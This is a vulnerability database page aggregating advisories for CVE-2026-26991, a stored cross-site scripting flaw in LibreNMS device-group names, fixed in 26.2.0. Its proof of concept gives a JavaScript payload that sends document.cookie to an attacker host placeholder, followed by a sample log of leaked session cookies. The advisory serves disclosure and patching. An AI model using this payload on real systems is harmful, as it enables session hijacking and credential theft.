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CVE-2026-26991

LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name

5.1 MediumFix available

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
Passive

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.25%Up 0.2 points since Feb 20, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.1

LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.

Record
CVE-2026-26991
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2026-8340 5.1

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.

Record
EUVD-2026-8340
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-5pqf-54qp-32wx 5.1

LibreNMS /device-groups name Stored Cross-Site Scripting

Summary

/device-groups name Stored Cross-Site Scripting

  • HTTP POST
  • Request-URI(s): "/device-groups"
  • Vulnerable parameter(s): "name"
  • Attacker must be authenticated with "admin" privileges.
  • When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
  • After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.

Details

The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/device-group/index.blade.php:

@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.

PoC

  • Login
  • Select Devices > Manage Groups
  • Select New Device Group
  • Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
  • '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
  • the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
  • Select "access_points.accesspoint_id" as the Conditional input
  • Input 1 into the Conditional value input box
  • Select Save
  • Select the Delete Icon for the newly created Device Group
  • Select OK
  • The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled
  • server, leaking the user's cookies.

Impact

Attacker Controlled server's logs:

192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] "GET /cookie-
jqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai

l%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh

LnQxXHlpw3abw4C74y%22%5D;%20XSRF-
TOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL

Z2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj
BLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0
ZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG
I4IiwidGFnIjoiIn0%3D HTTP/1.1" 404 492 "http://192.168.1.121/" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36"
Record
GHSA-5pqf-54qp-32wx
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
NVD 5.1

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.

Record
CVE-2026-26991
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
4.8 MediumCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 5.1

LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. In versions 26.1.1 and below, the device group name is not sanitized, allowing attackers with admin privileges to perform Stored Cross-Site Scripting (XSS) attacks. When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter. After the device group is created, the entry is displayed along with relevant buttons such as Rediscover Devices, Edit, and Delete. This issue has been fixed in version 26.2.0.

Record
CVE-2026-26991
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-5pqf-54qp-32wx 5.1

LibreNMS /device-groups name Stored Cross-Site Scripting

Summary

/device-groups name Stored Cross-Site Scripting

  • HTTP POST
  • Request-URI(s): "/device-groups"
  • Vulnerable parameter(s): "name"
  • Attacker must be authenticated with "admin" privileges.
  • When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
  • After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.

Details

The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/device-group/index.blade.php:

@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.

PoC

  • Login
  • Select Devices > Manage Groups
  • Select New Device Group
  • Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
  • '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
  • the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
  • Select "access_points.accesspoint_id" as the Conditional input
  • Input 1 into the Conditional value input box
  • Select Save
  • Select the Delete Icon for the newly created Device Group
  • Select OK
  • The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled
  • server, leaking the user's cookies.

Impact

Attacker Controlled server's logs:

192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] "GET /cookie-
jqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai

l%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh

LnQxXHlpw3abw4C74y%22%5D;%20XSRF-
TOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL

Z2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj
BLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0
ZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG
I4IiwidGFnIjoiIn0%3D HTTP/1.1" 404 492 "http://192.168.1.121/" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36"
Record
GHSA-5pqf-54qp-32wx
CVSS 4.0
5.1 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
librenms/librenms
Packagist
 before 26.2.0
26.2.0
librenms/librenms
Packagist
 before 26.2.0, plus listed versions
1.191.201.20.11.211.22
Show 45 moreShow less
1.22.011.231.241.251.261.271.281.291.301.30.011.311.31.011.31.021.31.031.321.32.011.331.33.011.341.351.361.36.011.371.381.391.401.411.421.42.011.431.441.451.461.471.481.48.11.491.501.50.11.511.521.531.53.11.541.55
26.2.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-26991 is a medium vulnerability (CVSS 5.1) in Librenms, published February 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in librenms/librenms 26.2.0.

References

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Left out here: 99 versions. The JSON record has them.

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